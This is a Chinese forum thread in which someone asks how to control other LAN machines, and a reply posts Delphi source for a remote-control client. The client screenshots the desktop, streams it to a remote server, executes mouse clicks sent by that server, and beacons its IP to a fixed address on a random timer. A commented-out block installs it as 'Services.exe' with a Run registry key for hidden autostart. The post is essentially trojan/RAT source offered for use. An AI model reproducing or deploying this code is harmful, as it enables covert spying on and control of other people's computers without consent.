我想控制局域网上的其他机器,比如抓屏,发信息等。具体怎么实现?谢谢

解决方案 »

  1.   

    http://expert.csdn.net/Expert/topic/1578/1578308.xml?temp=.1470301
      

  2.   


    unit UnitClient;interfaceuses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
      ScktComp, StdCtrls, ExtCtrls, RXClock, MsgSimulator;
    type
      TClientForm = class(TForm)
        Label1: TLabel;
        IpClient: TClientSocket;
        RemoteServer: TServerSocket;
        RxClock1: TRxClock;
        MsgSimulator1: TMsgSimulator;
        Edit1: TEdit;
        procedure RxClock1Alarm(Sender: TObject);
        procedure FormClick(Sender: TObject);
        procedure IpClientConnect(Sender: TObject; Socket: TCustomWinSocket);
        procedure IpClientError(Sender: TObject; Socket: TCustomWinSocket;
          ErrorEvent: TErrorEvent; var ErrorCode: Integer);
        procedure FormCreate(Sender: TObject);
        procedure RemoteServerClientError(Sender: TObject;
          Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
          var ErrorCode: Integer);
        procedure RemoteServerClientRead(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure RemoteServerClientDisconnect(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      Protected
        LeftSize:Longint;
        CurHandle:THandle;
        jpegStream:TMemoryStream;
      private
        { Private declarations }
        procedure sendscreen();
        procedure snapscreen();
        Function GetIpAddress:string;
      public
        { Public declarations }
      end;const BufSize=2048;var
      ClientForm: TClientForm;implementation{$R *.DFM}uses
      Winsock, Registry, Jpeg;//发送屏幕
    procedure TClientForm.sendscreen();
    var
      sendsize:longint;
      Buf:array[0..BufSize-1] of char;
    begin
      if jpegstream.Size =0 then snapscreen();
      if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
      jpegStream.ReadBuffer(Buf,sendsize);
      LeftSize:=LeftSize-SendSize;
      if LeftSize=0 then jpegStream.Clear;
      try
        RemoteServer.socket.Connections[0].SendBuf (buf,sendsize);
      except
        jpegstream.Clear ;
      end;
    end;//截屏
    procedure TClientForm.snapscreen();
    var
      bmpscreen:Tbitmap;
      jpegscreen:Tjpegimage;
      FullscreenCanvas:TCanvas;
      dc:HDC;
      sourceRect, destRect: TRect;
    begin
      dc:=getdc(0);
      fullscreencanvas:=Tcanvas.Create;
      fullscreencanvas.Handle:=dc;
      bmpscreen:=Tbitmap.create;
      bmpscreen.Width :=screen.Width ;
      bmpscreen.Height :=screen.Height ;
      sourcerect:=rect(0,0,screen.Width ,screen.Height );
      destrect:= rect(0,0,screen.Width ,screen.Height);
      bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
      jpegscreen:=Tjpegimage.Create ;
      jpegscreen.Assign (bmpscreen);
      jpegscreen.CompressionQuality:=40;
      jpegscreen.SaveToStream (jpegStream);
      jpegstream.Position :=0;
      LeftSize:=jpegStream.Size;
      FullscreenCanvas.Free;
      bmpscreen.Free;
      jpegscreen.Free ;
      ReleaseDC(0, DC);
    end;// 返回本地IP地址
    Function TClientForm.GetIpAddress:string;
    type
        TaPInAddr = array [0..10] of PInAddr;
        PaPInAddr = ^TaPInAddr;
    var
        phe  : PHostEnt;
        pptr : PaPInAddr;
        Buffer : array [0..63] of char;
        I : Integer;
        GInitData: TWSADATA;begin
        WSAStartup($101, GInitData);
        Result := '';
        GetHostName(Buffer, SizeOf(Buffer));
        phe :=GetHostByName(buffer);
        if phe = nil then Exit;
        pptr := PaPInAddr(Phe^.h_addr_list);
        I := 0;
        while pptr^[I] <> nil do begin
          result:=StrPas(inet_ntoa(pptr^[I]^));
          Inc(I);
        end;
        WSACleanup;
    end;procedure TClientForm.RxClock1Alarm(Sender: TObject);
    begin
    //随机定时,到时间打开,连接到远程IP服务器(地址是固定的)
      try
        IpClient.Open;
      except
      //Application.Terminate;
      end;
    end;procedure TClientForm.FormClick(Sender: TObject);
    begin
      IpClient.Address:=edit1.text;
      IpClient.Open;
    end;procedure TClientForm.IpClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
    //取得本地IP地址并发送
      Socket.SendText(GetIpAddress);
      socket.Close;
    end;procedure TClientForm.IpClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    begin
    //出错类型
      errorcode:=0;
    end;procedure TClientForm.FormCreate(Sender: TObject);
    var
    //  Reg:Tregistry;
      SysDir:string;
    begin
    //发送本程序到system目录夹,以后自动启动
    //  Reg:=Tregistry.Create ;
    //  Reg.RootKey :=HKEY_LOCAL_MACHINE;
      jpegStream:=TmemoryStream.Create ;
    {  if not reg.KeyExists('SOFTWARE\Robbot') then
      begin
        Reg.CreateKey ('SOFTWARE\Robbot');
        Reg.openkey ('SOFTWARE\Microsoft\Windows\CurrentVersion',true);
        SysDir:=Reg.ReadString('SystemRoot');
        Windows.copyfile('Services.exe',pchar(SysDir+'\Services.exe'),true);
        Reg.closekey;
        Reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
        Reg.WriteString('Services','Services.exe');
        Reg.CloseKey ;
      end;
      Reg.free;
    }end;procedure TClientForm.RemoteServerClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    begin
      errorcode:=0;
    end;
    procedure TClientForm.RemoteServerClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    var
      rstr,Head,ClickStr:string;
      CurX,CurY,ClickNum:integer;
      p        : TPoint;
    begin
      rstr:=socket.ReceiveText;
      Head:=Copy(rstr,1,4);
      if Head='Clik' then
      begin
        Delete(rstr,1,4);
        ClickStr:=Copy(rstr,1,1);
        ClickNum:=StrToInt(ClickStr);
        Delete(rstr,1,2);
        CurX:=StrToInt(Copy(rstr,Pos('!',rstr)+1,Pos('?',rstr)-Pos('!',rstr)-1));
        Delete(rstr,1,Pos('?',rstr));
        CurY:=StrToInt(rstr);
    //取得WINDOWS句柄
        p := Point(CurX, CurY);
        CurHandle := WindowFromPoint(p);
        Assert(CurHandle<>0);
        SetCursorPos(CurX, CurY);
    //双击事件
        if ClickNum=2 then
          with MsgSimulator1 do
          begin
            Messages.Clear;
            Add_ClickEx(CurHandle, mbLeft, [], CurX, CurY, 1);
            Add_ClickEx(CurHandle, mbLeft, [], CurX, CurY, 1);
            Play;
          end
    //单击事件
        else if ClickNum=1 then
        begin
        with MsgSimulator1 do
        begin
          Messages.Clear;
          Add_ClickEx(CurHandle, mbLeft, [], CurX, CurY, 1);
          Play;
        end;
        end
    //右键事件
        else if ClickNum=0 then
        with MsgSimulator1 do
        begin
          Messages.Clear;
          Add_ClickEx(CurHandle, mbRight, [], CurX, CurY, 1);
          Play;
        end;
        sendscreen();
      end
    //发送屏幕
      else if rstr ='Show' then
      begin
        sendscreen();
      end
      else if rstr='Stop' then jpegstream.Clear
      else if rstr='Comp' then jpegstream.Clear
    end;procedure TClientForm.RemoteServerClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      jpegstream.Clear;
    end;procedure TClientForm.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      jpegstream.Free;
    end;end.